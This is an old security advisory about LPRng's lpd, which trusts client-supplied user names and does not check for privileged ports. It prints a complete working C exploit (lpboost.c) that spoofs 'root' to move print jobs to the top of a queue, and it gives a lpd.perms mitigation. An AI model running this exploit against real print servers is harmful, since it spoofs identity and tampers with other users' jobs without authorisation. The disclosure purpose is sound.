COMMAND

    LPRng

SYSTEMS AFFECTED

    Linux (tested on Debian)

PROBLEM

    Olaf  Kirch  found  following.   lpd  doesn't check for privileged
    ports by default, and blindly accepts any user name the lpr client
    provides.

    Below is  his exploit  to demonstrate  this problem.   It lets Joe
    User move any  print job to  the top of  the print queue.  To test
    it, it may be best to create a dummy printer, disable printing  to
    it, and  create some  print jobs  (by different  users). Note that
    while this  exploit is  pretty harmless,  other exploits  (such as
    redirecting printers or  circumventing the accounting  system) are
    not.

    /*
     * lpboost.c
     *
     * Simple  exploit  to  demonstrate  problem  with PLP/LPRng  user
     * `authentication': boost your print job's priority by moving  it
     * to the top of the queue.
     *
     * This is the most harmless exploit of this problem. More serious
     * ones  include circumvention  of the  accounting system, killing
     * other  users' jobs,  shutting down  printers, redirecting them,
     * etc.
     *
     * Copyright (C) 1997, Olaf Kirch <okir@lst.de>
     */
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <string.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <errno.h>

    static int      doconnect(char *hostname);
    static void     dosend(int fd, unsigned char ch, char *string);

    int
    main(int argc, char **argv)
    {
            char    buffer[8192];
            char    hostbuf[256], *hostname = hostbuf;
            int     fd;

            if (argc == 4) {
                    hostname = argv[3];
            } else if (argc != 3) {
                    fprintf(stderr, "usage: lpboost <printer> <job> [hostname]\n");
                    exit(1);
            } else {
                    /* If lpd.perms allows queue manipulation only from
                     * the local host (SERVER keyword), must use FQDN
                     * rather than localhost (127.0.0.1) */
                    gethostname(hostbuf, sizeof(hostbuf));
            }

            if ((fd = doconnect(hostname)) < 0) {
                    fprintf(stderr, "Failed to connect to %s: %s\n",
                            hostname, strerror(errno));
                    exit(1);
            }

            /* Assemble control message */
            sprintf(buffer, "%s %s topq %s %s",
                            argv[1],        /* printer */
                            "root",         /* user */
                            argv[1],        /* printer */
                            argv[2]);       /* job # */

            /* Transmit control message and pick up status */
            dosend(fd, 6, buffer);

            exit (0);
    }

    static int
    doconnect(char *hostname)
    {
            struct hostent  *hp;
            struct sockaddr_in sin;
            int             fd;

            if (!(hp = gethostbyname(hostname))) {
                    fprintf(stderr, "%s: unknown host\n", hostname);
                    exit(1);
            }

            memset(&sin, 0, sizeof(sin));
            sin.sin_family = AF_INET;
            sin.sin_addr = *(struct in_addr *) hp->h_addr;
            sin.sin_port = htons(515);

            if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
                    perror("socket");
                    exit(1);
            }
            if (connect(fd, (struct sockaddr *) &sin, sizeof(sin)) < 0) {
                    perror("connect");
                    exit(1);
            }

            return fd;
    }

    static void
    dosend(int fd, unsigned char ch, char *string)
    {
            char    buffer[256], cr = '\n';
            int     slen = string? strlen(string) : 0;

            if (write(fd, &ch, 1) != 1 ||
                (string && (write(fd, string, slen) != slen
                         || write(fd, &cr, 1) != 1))) {
                    perror("write");
                    exit(1);
            }

            while ((slen = read(fd, buffer, sizeof(buffer)-1)) > 0) {
                    buffer[slen] = '\0';
                    fprintf(stderr, "lpd: %s\n", buffer);
            }
            if (slen == 0 || errno == EPIPE)
                    return;
            perror("read (errmsg)");
            exit(1);
    }

SOLUTION

    One way to fix  that would be to  restrict the the range  of ports
    from  which  clients  are  permitted  to  connect  by  putting the
    following into /etc/lpd.perms (right before all other  non-comment
    statements):

        REJECT SERVICE=X NOT PORT=512-1023

    and stop and  restart the printer  daemon.  Note  that restricting
    the  valid  range  of  ports  to  512-1023  also  stops FTP bounce
    attacks  (bounce  attacks  don't  apply  if  you  install the most
    recent wu-ftpd fix).

    However, this fails miserably  since all lp clients  are installed
    without suid root  permissions (at least  by Caldera). This  seems
    to be a design decision made by the author. OTOH he has put a  lot
    of work into the accounting stuff which is quite worthless if  lpd
    can be spoofed that easily.

    Problems like this can  be solved using the  SCM_CREDENTIALS stuff
    in 2.1.x kernels. Lpr can  authenticate itself with the local  lpd
    via a  unix socket,  and have  lpd forward  the job  to the remote
    printer using a privileged port.